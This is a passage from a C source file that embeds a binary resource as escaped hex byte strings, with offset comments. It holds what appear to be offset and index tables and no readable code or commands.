\"\\xE4\\x46\\x00\\x00\\x04\\x47\\x00\\x00\\x1B\\x47\\x00\\x00\\x2F\\x47\\x00\\x00\"   //äF...G...G../G..\n/* 001D60 */   \"\\x4C\\x47\\x00\\x00\\x69\\x47\\x00\\x00\\x7D\\x47\\x00\\x00\\x93\\x47\\x00\\x00\"   //LG..iG..}G...G..\n/* 001D80 */   \"\\xAB\\x47\\x00\\x00\\xC3\\x47\\x00\\x00\\xD9\\x47\\x00\\x00\\xF4\\x47\\x00\\x00\"   //.G..ÃG..ÙG..ôG..\n/* 001DA0 */   \"\\x0C\\x48\\x00\\x00\\x27\\x48\\x00\\x00\\x40\\x48\\x00\\x00\\x5D\\x48\\x00\\x00\"   //.H..'H..@H..]H..\n/* 001DC0 */   \"\\x77\\x48\\x00\\x00\\x92\\x48\\x00\\x00\\xAE\\x48\\x00\\x00\\xC9\\x48\\x00\\x00\"   //wH...H...H..ÉH..\n/* 001DE0 */   \"\\xE8\\x48\\x00\\x00\\x02\\x49\\x00\\x00\\x12\\x49\\x00\\x00\\x25\\x49\\x00\\x00\"   //èH...I...I..%I..\n/* 001E00 */   \"\\x38\\x49\\x00\\x00\\x4F\\x49\\x00\\x00\\x66\\x49\\x00\\x00\\x79\\x49\\x00\\x00\"   //8I..OI..fI..yI..\n/* 001E20 */   \"\\x8C\\x49\\x00\\x00\\xA6\\x49\\x00\\x00\\xBB\\x49\\x00\\x00\\xCE\\x49\\x00\\x00\"   //.I...I...I..ÎI..\n/* 001E40 */   \"\\xE6\\x49\\x00\\x00\\xFA\\x49\\x00\\x00\\x0E\\x4A\\x00\\x00\\x22\\x4A\\x00\\x00\"   //æI..úI...J..\"J..\n/* 001E60 */   \"\\x37\\x4A\\x00\\x00\\x47\\x4A\\x00\\x00\\x57\\x4A\\x00\\x00\\x67\\x4A\\x00\\x00\"   //7J..GJ..WJ..gJ..\n/* 001E80 */   \"\\x77\\x4A\\x00\\x00\\x87\\x4A\\x00\\x00\\x97\\x4A\\x00\\x00\\xA4\\x4A\\x00\\x00\"   //wJ...J...J...J..\n/* 001EA0 */   \"\\xB1\\x4A\\x00\\x00\\xCC\\x4A\\x00\\x00\\xE6\\x4A\\x00\\x00\\xFC\\x4A\\x00\\x00\"   //.J..ÌJ..æJ..üJ..\n/* 001EC0 */   \"\\x12\\x4B\\x00\\x00\\x24\\x4B\\x00\\x00\\x38\\x4B\\x00\\x00\\x4C\\x4B\\x00\\x00\"   //.K..$K..8K..LK..\n/* 001EE0 */   \"\\x64\\x4B\\x00\\x00\\x7E\\x4B\\x00\\x00\\x96\\x4B\\x00\\x00\\xB1\\x4B\\x00\\x00\"   //dK..~K...K...K..\n/* 001F00 */   \"\\xC1\\x4B\\x00\\x00\\xCF\\x4B\\x00\\x00\\xEC\\x4B\\x00\\x00\\xFA\\x4B\\x00\\x00\"   //ÁK..ÏK..ìK..úK..\n/* 001F20 */   \"\\x12\\x4C\\x00\\x00\\x2C\\x4C\\x00\\x00\\x46\\x4C\\x00\\x00\\x5E\\x4C\\x00\\x00\"   //.L..,L..FL..^L..\n/* 001F40 */   \"\\x71\\x4C\\x00\\x00\\x7F\\x4C\\x00\\x00\\x91\\x4C\\x00\\x00\\xA2\\x4C\\x00\\x00\"   //qL...L...L...L..\n/* 001F60 */   \"\\xAD\\x4C\\x00\\x00\\xC7\\x4C\\x00\\x00\\xD2\\x4C\\x00\\x00\\xE1\\x4C\\x00\\x00\"   //.L..ÇL..ÒL..áL..\n/* 001F80 */   \"\\xF5\\x4C\\x00\\x00\\x00\\x4D\\x00\\x00\\x0D\\x4D\\x00\\x00\\x1C\\x4D\\x00\\x00\"   //õL...M...M...M..\n/* 001FA0 */   \"\\x29\\x4D\\x00\\x00\\x34\\x4D\\x00\\x00\\x47\\x4D\\x00\\x00\\x5A\\x4D\\x00\\x00\"   //)M..4M..GM..ZM..\n/* 001FC0 */   \"\\x6C\\x4D\\x00\\x00\\x7E\\x4D\\x00\\x00\\x9A\\x4D\\x00\\x00\\xB6\\x4D\\x00\\x00\"   //lM..~M...M...M..\n/* 001FE0 */   \"\\xCB\\x4D\\x00\\x00\\xE0\\x4D\\x00\\x00\\xF6\\x4D\\x00\\x00\\x0C\\x4E\\x00\\x00\"   //ËM..àM..öM...N..\n/* 002000 */   \"\\x2B\\x4E\\x00\\x00\\x4A\\x4E\\x00\\x00\\x5E\\x4E\\x00\\x00\\x78\\x4E\\x00\\x00\"   //+N..JN..^N..xN..\n/* 002020 */   \"\\x89\\x4E\\x00\\x00\\x92\\x4E\\x00\\x00\\xA3\\x4E\\x00\\x00\\xB3\\x4E\\x00\\x00\"   //.N...N...N...N..\n/* 002040 */   \"\\xCA\\x4E\\x00\\x00\\xE3\\x4E\\x00\\x00\\xED\\x4E\\x00\\x00\\x04\\x4F\\x00\\x00\"   //ÊN..ãN..íN...O..\n/* 002060 */   \"\\x1E\\x4F\\x00\\x00\\x33\\x4F\\x00\\x00\\x55\\x4F\\x00\\x00\\x6C\\x4F\\x00\\x00\"   //.O..3O..UO..lO..\n/* 002080 */   \"\\x8C\\x4F\\x00\\x00\\xA7\\x4F\\x00\\x00\\xC4\\x4F\\x00\\x00\\xD2\\x4F\\x00\\x00\"   //.O...O..ÄO..ÒO..\n/* 0020A0 */   \"\\xE9\\x4F\\x00\\x00\\xFE\\x4F\\x00\\x00\\x18\\x50\\x00\\x00\\x27\\x50\\x00\\x00\"   //éO..þO...P..'P..\n/* 0020C0 */   \"\\x38\\x50\\x00\\x00\\x52\\x50\\x00\\x00\\x62\\x50\\x00\\x00\\x7B\\x50\\x00\\x00\"   //8P..RP..bP..{P..\n/* 0020E0 */   \"\\x8A\\x50\\x00\\x00\\x9A\\x50\\x00\\x00\\xB8\\x50\\x00\\x00\\xCF\\x50\\x00\\x00\"   //.P...P...P..ÏP..\n/* 002100 */   \"\\xE7\\x50\\x00\\x00\\xF5\\x50\\x00\\x00\\x0B\\x51\\x00\\x00\\x1A\\x51\\x00\\x00\"   //çP..õP...Q...Q..\n/* 002120 */   \"\\x28\\x51\\x00\\x00\\x39\\x51\\x00\\x00\\x47\\x51\\x00\\x00\\x5C\\x51\\x00\\x00\"   //(Q..9Q..GQ..\\Q..\n/* 002140 */   \"\\x77\\x51\\x00\\x00\\x97\\x51\\x00\\x00\\xB6\\x51\\x00\\x00\\xD0\\x51\\x00\\x00\"   //wQ...Q...Q..ÐQ..\n/* 002160 */   \"\\xEA\\x51\\x00\\x00\\xF9\\x51\\x00\\x00\\x10\\x52\\x00\\x00\\x2A\\x52\\x00\\x00\"   //êQ..ùQ...R..*R..\n/* 002180 */   \"\\x4A\\x52\\x00\\x00\\x61\\x52\\x00\\x00\\x80\\x52\\x00\\x00\\x97\\x52\\x00\\x00\"   //JR..aR...R...R..\n/* 0021A0 */   \"\\xB5\\x52\\x00\\x00\\xD2\\x52\\x00\\x00\\xEA\\x52\\x00\\x00\\x09\\x53\\x00\\x00\"   //.R..ÒR..êR...S..\n/* 0021C0 */   \"\\x20\\x53\\x00\\x00\\x2D\\x53\\x00\\x00\\x42\\x53\\x00\\x00\\x5C\\x53\\x00\\x00\"   //.S..-S..BS..\\S..\n/* 0021E0 */   \"\\x7A\\x53\\x00\\x00\\x99\\x53\\x00\\x00\\xAD\\x53\\x00\\x00\\xB6\\x53\\x00\\x00\"   //zS...S...S...S..\n/* 002200 */   \"\\xBE\\x53\\x00\\x00\\xC8\\x53\\x00\\x00\\xD1\\x53\\x00\\x00\\xD9\\x53\\x00\\x00\"   //.S..ÈS..ÑS..ÙS..\n/* 002220 */   \"\\xE3\\x53\\x00\\x00\\xFB\\x53\\x00\\x00\\x14\\x54\\x00\\x00\\x23\\x54\\x00\\x00\"   //ãS..ûS...T..#T..\n/* 002240 */   \"\\x33\\x54\\x00\\x00\\x46\\x54\\x00\\x00\\x55\\x54\\x00\\x00\\x6C\\x54\\x00\\x00\"   //3T..FT..UT..lT..\n/* 002260 */   \"\\x81\\x54\\x00\\x00\\x98\\x54\\x00\\x00\\xAF\\x54\\x00\\x00\\xC7\\x54\\x00\\x00\"   //.T...T...T..ÇT..\n/* 002280 */   \"\\xDF\\x54\\x00\\x00\\xF5\\x54\\x00\\x00\\x0B\\x55\\x00\\x00\\x26\\x55\\x00\\x00\"   //ßT..õT...U..&U..\n/* 0022A0 */   \"\\x41\\x55\\x00\\x00\\x55\\x55\\x00\\x00\\x69\\x55\\x00\\x00\\x7F\\x55\\x00\\x00\"   //AU..UU..iU...U..\n/* 0022C0 */   \"\\x95\\x55\\x00\\x00\\xA3\\x55\\x00\\x00\\xB1\\x55\\x00\\x00\\xC2\\x55\\x00\\x00\"   //.U...U...U..ÂU..\n/* 0022E0 */   \"\\xD1\\x55\\x00\\x00\\xE0\\x55\\x00\\x00\\xED\\x55\\x00\\x00\\xFA\\x55\\x00\\x00\"   //ÑU..àU..íU..úU..\n/* 002300 */   \"\\x0A\\x56\\x00\\x00\\x15\\x56\\x00\\x00\\x20\\x56\\x00\\x00\\x2F\\x56\\x00\\x00\"   //.V...V...V../V..\n/* 002320 */   \"\\x4C\\x56\\x00\\x00\\x69\\x56\\x00\\x00\\x7A\\x56\\x00\\x00\\x87\\x56\\x00\\x00\"   //LV..iV..zV...V..\n/* 002340 */   \"\\x97\\x56\\x00\\x00\\xA7\\x56\\x00\\x00\\xCA\\x56\\x00\\x00\\xDF\\x56\\x00\\x00\"   //.V...V..ÊV..ßV..\n/* 002360 */   \"\\xF4\\x56\\x00\\x00\\x08\\x57\\x00\\x00\\x1C\\x57\\x00\\x00\\x34\\x57\\x00\\x00\"   //ôV...W...W..4W..\n/* 002380 */   \"\\x4C\\x57\\x00\\x00\\x67\\x57\\x00\\x00\\x7A\\x57\\x00\\x00\\x8F\\x57\\x00\\x00\"   //LW..gW..zW...W..\n/* 0023A0 */   \"\\x9B\\x57\\x00\\x00\\xA7\\x57\\x00\\x00\\xC1\\x57\\x00\\x00\\xDE\\x57\\x00\\x00\"   //.W...W..ÁW..ÞW..\n/* 0023C0 */   \"\\xF3\\x57\\x00\\x00\\x01\\x58\\x00\\x00\\x0F\\x58\\x00\\x00\\x1B\\x58\\x00\\x00\"   //óW...X...X...X..\n/* 0023E0 */   \"\\x2F\\x58\\x00\\x00\\x43\\x58\\x00\\x00\\x51\\x58\\x00\\x00\\x61\\x58\\x00\\x00\"   ///X..CX..QX..aX..\n/* 002400 */   \"\\x71\\x58\\x00\\x00\\x7F\\x58\\x00\\x00\\x8D\\x58\\x00\\x00\\x9B\\x58\\x00\\x00\"   //qX...X...X...X..\n/* 002420 */   \"\\xAB\\x58\\x00\\x00\\xBB\\x58\\x00\\x00\\xD5\\x58\\x00\\x00\\xF1\\x58\\x00\\x00\"   //.X...X..ÕX..ñX..\n/* 002440 */   \"\\xFD\\x58\\x00\\x00\\x0B\\x59\\x00\\x00\\x19\\x59\\x00\\x00\\x25\\x59\\x00\\x00\"   //ýX...Y...Y..%Y..\n/* 002460 */   \"\\x33\\x59\\x00\\x00\\x41\\x59\\x00\\x00\\x4D\\x59\\x00\\x00\\x5F\\x59\\x00\\x00\"   //3Y..AY..MY.._Y..\n/* 002480 */   \"\\x6B\\x59\\x00\\x00\\x77\\x59\\x00\\x00\\x8F\\x59\\x00\\x00\\xA2\\x59\\x00\\x00\"   //kY..wY...Y...Y..\n/* 0024A0 */   \"\\xAE\\x59\\x00\\x00\\xBC\\x59\\x00\\x00\\xCA\\x59\\x00\\x00\\xD6\\x59\\x00\\x00\"   //.Y...Y..ÊY..ÖY..\n/* 0024C0 */   \"\\xED\\x59\\x00\\x00\\x02\\x5A\\x00\\x00\\x13\\x5A\\x00\\x00\\x24\\x5A\\x00\\x00\"   //íY...Z...Z..$Z..\n/* 0024E0 */   \"\\x3C\\x5A\\x00\\x00\\x54\\x5A\\x00\\x00\\x63\\x5A\\x00\\x00\\x74\\x5A\\x00\\x00\"   //<Z..TZ..cZ..tZ..\n/* 002500 */   \"\\x85\\x5A\\x00\\x00\\x94\\x5A\\x00\\x00\\xA3\\x5A\\x00\\x00\\xB2\\x5A\\x00\\x00\"   //.Z...Z...Z...Z..\n/* 002520 */   \"\\xC1\\x5A\\x00\\x00\\xD0\\x5A\\x00\\x00\\xDC\\x5A\\x00\\x00\\xEA\\x5A\\x00\\x00\"   //ÁZ..ÐZ..ÜZ..êZ..\n/* 002540 */   \"\\xF8\\x5A\\x00\\x00\\x04\\x5B\\x00\\x00\\x16\\x5B\\x00\\x00\\x23\\x5B\\x00\\x00\"   //øZ...[...[..#[..\n/* 002560 */   \"\\x32\\x5B\\x00\\x00\\x41\\x5B\\x00\\x00\\x4E\\x5B\\x00\\x00\\x5C\\x5B\\x00\\x00\"   //2[..A[..N[..\\[..\n/* 002580 */   \"\\x6A\\x5B\\x00\\x00\\x7F\\x5B\\x00\\x00\\x94\\x5B\\x00\\x00\\xA5\\x5B\\x00\\x00\"   //j[...[...[...[..\n/* 0025A0 */   \"\\xC1\\x5B\\x00\\x00\\xDF\\x5B\\x00\\x00\\xFD\\x5B\\x00\\x00\\x19\\x5C\\x00\\x00\"   //Á[..ß[..ý[...\\..\n/* 0025C0 */   \"\\x2D\\x5C\\x00\\x00\\x41\\x5C\\x00\\x00\\x55\\x5C\\x00\\x00\\x72\\x5C\\x00\\x00\"   //-\\..A\\..U\\..r\\..\n/* 0025E0 */   \"\\x7F\\x5C\\x00\\x00\\x8C\\x5C\\x00\\x00\\x99\\x5C\\x00\\x00\\xA9\\x5C\\x00\\x00\"   //.\\...\\...\\...\\..\n/* 002600 */   \"\\xC4\\x5C\\x00\\x00\\xD5\\x5C\\x00\\x00\\xEE\\x5C\\x00\\x00\\x08\\x5D\\x00\\x00\"   //Ä\\..Õ\\..î\\...]..\n/* 002620 */   \"\\x1B\\x5D\\x00\\x00\\x34\\x5D\\x00\\x00\\x4D\\x5D\\x00\\x00\\x67\\x5D\\x00\\x00\"   //.]..4]..M]..g]..\n/* 002640 */   \"\\x81\\x5D\\x00\\x00\\x9A\\x5D\\x00\\x00\\xB5\\x5D\\x00\\x00\\xD6\\x5D\\x00\\x00\"   //.]...]...]..Ö]..\n/* 002660 */   \"\\xF0\\x5D\\x00\\x00\\x11\\x5E\\x00\\x00\\x2F\\x5E\\x00\\x00\\x41\\x5E\\x00\\x00\"   //ð]...^../^..A^..\n/* 002680 */   \"\\x59\\x5E\\x00\\x00\\x71\\x5E\\x00\\x00\\x82\\x5E\\x00\\x00\\x93\\x5E\\x00\\x00\"   //Y^..q^...^...^..\n/* 0026A0 */   \"\\xAA\\x5E\\x00\\x00\\xC1\\x5E\\x00\\x00\\xD2\\x5E\\x00\\x00\\xE3\\x5E\\x00\\x00\"   //.^..Á^..Ò^..ã^..\n/* 0026C0 */   \"\\x01\\x5F\\x00\\x00\\x20\\x5F\\x00\\x00\\x38\\x5F\\x00\\x00\\x4E\\x5F\\x00\\x00\"   //._..._..8_..N_..\n/* 0026E0 */   \"\\x66\\x5F\\x00\\x00\\x7E\\x5F\\x00\\x00\\x94\\x5F\\x00\\x00\\xAD\\x5F\\x00\\x00\"   //f_..~_..._..._..\n/* 002700 */   \"\\xC8\\x5F\\x00\\x00\\xE5\\x5F\\x00\\x00\\xFF\\x5F\\x00\\x00\\x1A\\x60\\x00\\x00\"   //È_..å_..ÿ_...`..\n/* 002720 */   \"\\x35\\x60\\x00\\x00\\x54\\x60\\x00\\x00\\x6E\\x60\\x00\\x00\\x7E\\x60\\x00\\x00\"   //5`..T`..n`..~`..\n/* 002740 */   \"\\x91\\x60\\x00\\x00\\xA4\\x60\\x00\\x00\\xB3\\x60\\x00\\x00\\xCC\\x60\\x00\\x00\"   //.`...`...`..Ì`..\n/* 002760 */   \"\\xDD\\x60\\x00\\x00\\xEC\\x60\\x00\\x00\\x00\\x61\\x00\\x00\\x11\\x61\\x00\\x00\"   //Ý`..ì`...a...a..\n/* 002780 */   \"\\x2A\\x61\\x00\\x00\\x38\\x61\\x00\\x00\\x54\\x61\\x00\\x00\\x70\\x61\\x00\\x00\"   //*a..8a..Ta..pa..\n/* 0027A0 */   \"\\x7E\\x61\\x00\\x00\\x8A\\x61\\x00\\x00\\x96\\x61\\x00\\x00\\xA1\\x61\\x00\\x00\"   //~a...a...a...a..\n/* 0027C0 */   \"\\xAC\\x61\\x00\\x00\\xDA\\x61\\x00\\x00\\xEC\\x61\\x00\\x00\\xFE\\x61\\x00\\x00\"   //.a..Úa..ìa..þa..\n/* 0027E0 */   \"\\x10\\x62\\x00\\x00\\x22\\x62\\x00\\x00\\x34\\x62\\x00\\x00\\x46\\x62\\x00\\x00\"   //.b..\"b..4b..Fb..\n/* 002800 */   \"\\x58\\x62\\x00\\x00\\x6A\\x62\\x00\\x00\\x7C\\x62\\x00\\x00\\x8E\\x62\\x00\\x00\"   //Xb..jb..|b...b..\n/* 002820 */   \"\\xA0\\x62\\x00\\x00\\xB2\\x62\\x00\\x00\\xC4\\x62\\x00\\x00\\xD6\\x62\\x00\\x00\"   //.b...b..Äb..Öb..\n/* 002840 */   \"\\xE8\\x62\\x00\\x00\\xFA\\x62\\x00\\x00\\x0C\\x63\\x00\\x00\\x1E\\x63\\x00\\x00\"   //èb..úb...c...c..\n/* 002860 */   \"\\x30\\x63\\x00\\x00\\x42\\x63\\x00\\x00\\x54\\x63\\x00\\x00\\x66\\x63\\x00\\x00\"   //0c..Bc..Tc..fc..\n/* 002880 */   \"\\x78\\x63\\x00\\x00\\x8A\\x63\\x00\\x00\\x9C\\x63\\x00\\x00\\xAE\\x63\\x00\\x00\"   //xc...c...c...c..\n/* 0028A0 */   \"\\xC0\\x63\\x00\\x00\\xD2\\x63\\x00\\x00\\xE4\\x63\\x00\\x00\\xF6\\x63\\x00\\x00\"   //Àc..Òc..äc..öc..\n/* 0028C0 */   \"\\x08\\x64\\x00\\x00\\x1A\\x64\\x00\\x00\\x2C\\x64\\x00\\x00\\x3E\\x64\\x00\\x00\"   //.d...d..,d..>d..\n/* 0028E0 */   \"\\x50\\x64\\x00\\x00\\x62\\x64\\x00\\x00\\x74\\x64\\x00\\x00\\x86\\x64\\x00\\x00\"   //Pd..bd..td...d..\n/* 002900 */   \"\\x91\\x64\\x00\\x00\\xA4\\x64\\x00\\x00\\xB1\\x64\\x00\\x00\\xC0\\x64\\x00\\x00\"   //.d...d...d..Àd..\n/* 002920 */   \"\\xDC\\x64\\x00\\x00\\xF8\\x64\\x00\\x00\\x0F\\x65\\x00\\x00\\x26\\x65\\x00\\x00\"   //Üd..ød...e..&e..\n/* 002940 */   \"\\x3B\\x65\\x00\\x00\\x51\\x65\\x00\\x00\\x64\\x65\\x00\\x00\\x79\\x65\\x00\\x00\"   //;e..Qe..de..ye..\n/* 002960 */   \"\\x86\\x65\\x00\\x00\\x93\\x65\\x00\\x00\\xA5\\x65\\x00\\x00\\xB3\\x65\\x00\\x00\"   //.e...e...e...e..\n/* 002980 */   \"\\xCB\\x65\\x00\\x00\\xDF\\x65\\x00\\x00\\xF9\\x65\\x00\\x00\\x13\\x66\\x00\\x00\"   //Ëe..ße..ùe...f..\n/* 0029A0 */   \"\\x25\\x66\\x00\\x00\\x37\\x66\\x00\\x00\\x49\\x66\\x00\\x00\\x66\\x66\\x00\\x00\"   //%f..7f..If..ff..\n/* 0029C0 */   \"\\x83\\x66\\x00\\x00\\x91\\x66\\x00\\x00\\xA8\\x66\\x00\\x00\\xB8\\x66\\x00\\x00\"   //.f...f...f...f..\n/* 0029E0 */   \"\\xCA\\x66\\x00\\x00\\xE4\\x66\\x00\\x00\\xFE\\x66\\x00\\x00\\x1B\\x67\\x00\\x00\"   //Êf..äf..þf...g..\n/* 002A00 */   \"\\x38\\x67\\x00\\x00\\x45\\x67\\x00\\x00\\x5C\\x67\\x00\\x00\\x6F\\x67\\x00\\x00\"   //8g..Eg..\\g..og..\n/* 002A20 */   \"\\x80\\x67\\x00\\x00\\x99\\x67\\x00\\x00\\xB2\\x67\\x00\\x00\\xC3\\x67\\x00\\x00\"   //.g...g...g..Ãg..\n/* 002A40 */   \"\\xDB\\x67\\x00\\x00\\xF3\\x67\\x00\\x00\\x13\\x68\\x00\\x00\\x33\\x68\\x00\\x00\"   //Ûg..óg...h..3h..\n/* 002A60 */   \"\\x4B\\x68\\x00\\x00\\x64\\x68\\x00\\x00\\x7D\\x68\\x00\\x00\\x93\\x68\\x00\\x00\"   //Kh..dh..}h...h..\n/* 002A80 */   \"\\xA9\\x68\\x00\\x00\\xBB\\x68\\x00\\x00\\xCD\\x68\\x00\\x00\\xE0\\x68\\x00\\x00\"   //.h...h..Íh..àh..\n/* 002AA0 */   \"\\x01\\x00\\x02\\x00\\x03\\x00\\x04\\x00\\x05\\x00\\x06\\x00\\x07\\x00\\x08\\x00\"   //................\n/* 002AC0 */   \"\\x09\\x00\\x0A\\x00\\x0B\\x00\\x0C\\x00\\x0D\\x00\\x0E\\x00\\x0F\\x00\\x10\\x00\"   //................\n/* 002AE0 */   \"\\x11\\x00\\x12\\x00\\x13\\x00\\x14\\x00\\x15\\x00\\x16\\x00\\x17\\x00\\x18\\x00\"   //................\n/* 002B00 */   \"\\x19\\x00\\x1A\\x00\\x1B\\x00\\x1C\\x00\\x1D\\x00\\x1E\\x00\\x1F\\x00\\x20\\x00\"   //................\n/* 002B20 */   \"\\x21\\x00\\x22\\x00\\x23\\x00\\x24\\x00\\x25\\x00\\x26\\x00\\x27\\x00\\x28\\x00\"   //!.\".#.$.%.&.'.(.\n/* 002B40 */   \"\\x29\\x00\\x2A\\x00\\x2B\\x00\\x2C\\x00\\x2D\\x00\\x2E\\x00\\x2F\\x00\\x30\\x00\"   //).*.+.,.-.../.0.\n/* 002B60 */   \"\\x31\\x00\\x32\\x00\\x33\\x00\\x34\\x00\\x35\\x00\\x36\\x00\\x37\\x00\\x38\\x00\"   //1.2.3.4.5.6.7.8.\n/* 002B80 */   \"\\x39\\x00\\x3A\\x00\\x3B\\x00\\x3C\\x00\\x3D\\x00\\x3E\\x00\\x3F\\x00\\x40\\x00\"   //9.:.;.<.=.>.?.@.\n/* 002BA0 */   \"\\x41\\x00\\x42\\x00\\x43\\x00\\x44\\x00\\x45\\x00\\x46\\x00\\x47\\x00\\x48\\x00\"   //A.B.C.D.E.F.G.H.\n/* 002BC0 */   \"\\x49\\x00\\x4A\\x00\\x4B\\x00\\x4C\\x00\\x4D\\x00\\x4E\\x00\\x4F\\x00\\x50\\x00\"   //I.J.K.L.M.N.O.P.\n/* 002BE0 */   \"\\x51\\x00\\x52\\x00\\x53\\x00\\x54\\x00\\x55\\x00\\x56\\x00\\x57\\x00\\x58\\x00\"   //Q.R.S.T.U.V.W.X.\n/* 002C00 */   \"\\x59\\x00\\x5A\\x00\\x5B\\x00\\x5C\\x00\\x5D\\x00\\x5E\\x00\\x5F\\x00\\x60\\x00\"   //Y.Z.[.\\.].^._.`.\n/* 002C20 */   \"\\x61\\x00\\x62\\x00\\x63\\x00\\x64\\x00\\x65\\x00\\x66\\x00\\x67\\x00\\x68\\x00\"   //a.b.c.d.e.f.g.h.\n/* 002C40 */   \"\\x69\\x00\\x6A\\x00\\x6B\\x00\\x6C\\x00\\x6D\\x00\\x6E\\x00\\x6F\\x00\\x70\\x00\"   //i.j.k.l.m.n.o.p.\n/* 002C60 */   \"\\x71\\x00\\x72\\x00\\x73\\x00\\x74\\x00\\x75\\x00\\x76\\x00\\x77\\x00\\x78\\x00\"   //q.r.s.t.u.v.w.x.\n/* 002C80 */   \"\\x79\\x00\\x7A\\x00\\x7B\\x00\\x7C\\x00\\x7D\\x00\\x7E\\x00\\x7F\\x00\\x80\\x00\"   //y.z.{.|.}.~.....\n/* 002CA0 */   \"\\x81\\x00\\x82\\x00\\x83\\x00\\x84\\x00\\x85\\x00\\x86\\x00\\x87\\x00\\x88\\x00\"   //................\n/* 002CC0 */   \"\\x89\\x00\\x8A\\x00\\x8B\\x00\\x8C\\x00\\x8D\\x00\\x8E\\x00\\x8F\\x00\\x90\\x00\"   //................\n/* 002CE0 */   \"\\x91\\x00\\x92\\x00\\x93\\x00\\x94\\x00\\x95\\x00\\x96\\x00\\x97\\x00\\x98\\x00\"   //................\n/* 002D00 */   \"\\x99\\x00\\x9A\\x00\\x9B\\x00\\x9C\\x00\\x9D\\x00\\x9E\\x00\\x9F\\x00\\xA0\\x00\"   //................\n/* 002D20 */   \"\\xA1\\x00\\xA2\\x00\\xA3\\x00\\xA4\\x00\\xA5\\x00\\xA6\\x00\\xA7\\x00\\xA8\\x00\"   //................\n/* 002D40 */   \"\\xA9\\x00\\xAA\\x00\\xAB\\x00\\xAC\\x00\\xAD\\x00\\xAE\\x00\\xAF\\x00\\xB0\\x00\"   //................\n/* 002D60 */   \"\\xB1\\x00\\xB2\\x00\\xB3\\x00\\xB4\\x00\\xB5\\x00\\xB6\\x00\\xB7\\x00\\xB8\\x00\"   //................\n/* 002D80 */   \"\\xB9\\x00\\xBA\\x00\\xBB\\x00\\xBC\\x00\\xBD\\x00\\xBE\\x00\\xBF\\x00\\xC0\\x00\"   //..............À.\n/* 002DA0 */   \"\\xC1\\x00\\xC2\\x00\\xC3\\x00\\xC4\\x00\\xC5\\x00\\xC6\\x00\\xC7\\x00\\xC8\\x00\"   //Á.Â.Ã.Ä.Å.Æ.Ç.È.\n/* 002DC0 */   \"\\xC9\\x00\\xCA\\x00\\xCB\\x00\\xCC\\x00\\xCD\\x00\\xCE\\x00\\xCF\\x00\\xD0\\x00\"   //É.Ê.Ë.Ì.Í.Î.Ï.Ð.\n/* 002DE0 */   \"\\xD1\\x00\\xD2\\x00\\xD3\\x00\\xD4\\x00\\xD5\\x00\\xD6\\x00\\xD7\\x00\\xD8\\x00\"   //Ñ.Ò.Ó.Ô.Õ.Ö.×.Ø.\n/* 002E00 */   \"\\xD9\\x00\\xDA\\x00\\xDB\\x00\\xDC\\x00\\xDD\\x00\\xDE\\x00\\xDF\\x00\\xE0\\x00\"   //Ù.Ú.Û.Ü.Ý.Þ.ß.à.\n/* 002E20 */   \"\\xE1\\x00\\xE2\\x00\\xE3\\x00\\xE4\\x00\\xE5\\x00\\xE6\\x00\\xE7\\x00\\xE8\\x00\"   //á.â.ã.ä.å.æ.ç.è.\n/* 002E40 */   \"\\xE9\\x00\\xEA\\x00\\xEB\\x00\\xEC\\x00\\xED\\x00\\xEE\\x00\\xEF\\x00\\xF0\\x00\"   //é.ê.ë.ì.í.î.ï.ð.\n/* 002E60 */   \"\\xF1\\x00\\xF2\\x00\\xF3\\x00\\xF4\\x00\\xF5\\x00\\xF6\\x00\\xF7\\x00\\xF8\\x00\"   //ñ.ò.ó.ô.õ.ö.÷.ø.\n/* 002E80 */   \"\\xF9\\x00\\xFA\\x00\\xFB\\x00\\xFC\\x00\\xFD\\x00\\xFE\\x00\\xFF\\x00\\x00\\x01\"   //ù.ú.û.ü.ý.þ.ÿ...\n/* 002EA0 */   \"\\x01\\x01\\x02\\x01\\x03\\x01\\x04\\x01\\x05\\x01\\x06\\x01\\x07\\x01\\x08\\x01\"   //................\n/* 002EC0 */   \"\\x09\\x01\\x0A\\x01\\x0B\\x01\\x0C\\x01\\x0D\\x01\\x0E\\x01\\x0F\\x01\\x10\\x01\"   //................\n/* 002EE0 */   \"\\x11\\x01\\x12\\x01\\x13\\x01\\x14\\x01\\x15\\x01\\x16\\x01\\x17\\x01\\x18\\x01\"   //................\n/* 002F00 */   \"\\x19\\x01\\x1A\\x01\\x1B\\x01\\x1C\\x01\\x1D\\x01\\x1E\\x01\\x1F\\x01\\x20\\x01\"   //................\n/* 002F20 */   \"\\x21\\x01\\x22\\x01\\x23\\x01\\x24\\x01\\x25\\x01\\x26\\x01\\x00\\x00\\x27\\x01\"   //!.\".#.$.%.&...'.\n/* 002F40 */   \"\\x28\\x01\\x29\\x01\\x2A\\x01\\x2B\\x01\\x2C\\x01\\x2D\\x01\\x2E\\x01\\x2F\\x01\"   //(.).*.+.,.-.../.\n/* 002F60 */   \"\\x30\\x01\\x31\\x01\\x32\\x01\\x33\\x01\\x34\\x01\\x35\\x01\\x36\\x01\\x37\\x01\"   //0.1.2.3.4.5.6.7.\n/* 002F80 */   \"\\x38\\x01\\x39\\x01\\x3A\\x01\\x3B\\x01\\x3C\\x01\\x3D\\x01\\x3E\\x01\\x3F\\x01\"   //8.9.:.;.<.=.>.?.\n/* 002FA0 */   \"\\x40\\x01\\x41\\x01\\x42\\x01\\x43\\x01\\x44\\x01\\x45\\x01\\x46\\x01\\x47\\x01\"   //@.A.B.C.D.E.F.G.\n/* 002FC0 */   \"\\x48\\x01\\x49\\x01\\x4A\\x01\\x4B\\x01\\x4C\\x01\\x4D\\x01\\x4E\\x01\\x4F\\x01\"   //H.I.J.K.L.M.N.O.\n/* 002FE0 */   \"\\x50\\x01\\x51\\x01\\x52\\x01\\x53\\x01\\x54\\x01\\x55\\x01\\x56\\x01\\x57\\x01\"   //P.Q.R.S.T.U.V.W.\n/* 003000 */   \"\\x58\\x01\\x59\\x01\\x5A\\x01\\x5B\\x01\\x5C\\x01\\x5D\\x01\\x5E\\x01\\x5F\\x01\"   //X.Y.Z.[.\\.].^._.\n/* 003020 */   \"\\x60\\x01\\x61\\x01\\x62\\x01\\x63\\x01\\x64\\x01\\x65\\x01\\x66\\x01\\x67\\x01\"   //`.a.b.c.d.e.f.g.\n/* 003040 */   \"\\x68\\x01\\x69\\x01\\x6A\\x01\\x6B\\x01\\x6D\\x01\\x6C\\x01\\x6E\\x01\\x6F\\x01\"   //h.i.j.k.m.l.n.o.\n/* 003060 */   \"\\x70\\x01\\x71\\x01\\x72\\x01\\x73\\x01\\x74\\x01\\x75\\x01\\x76\\x01\\x77\\x01\"   //p.q.r.s.t.u.v.w.\n/* 003080 */   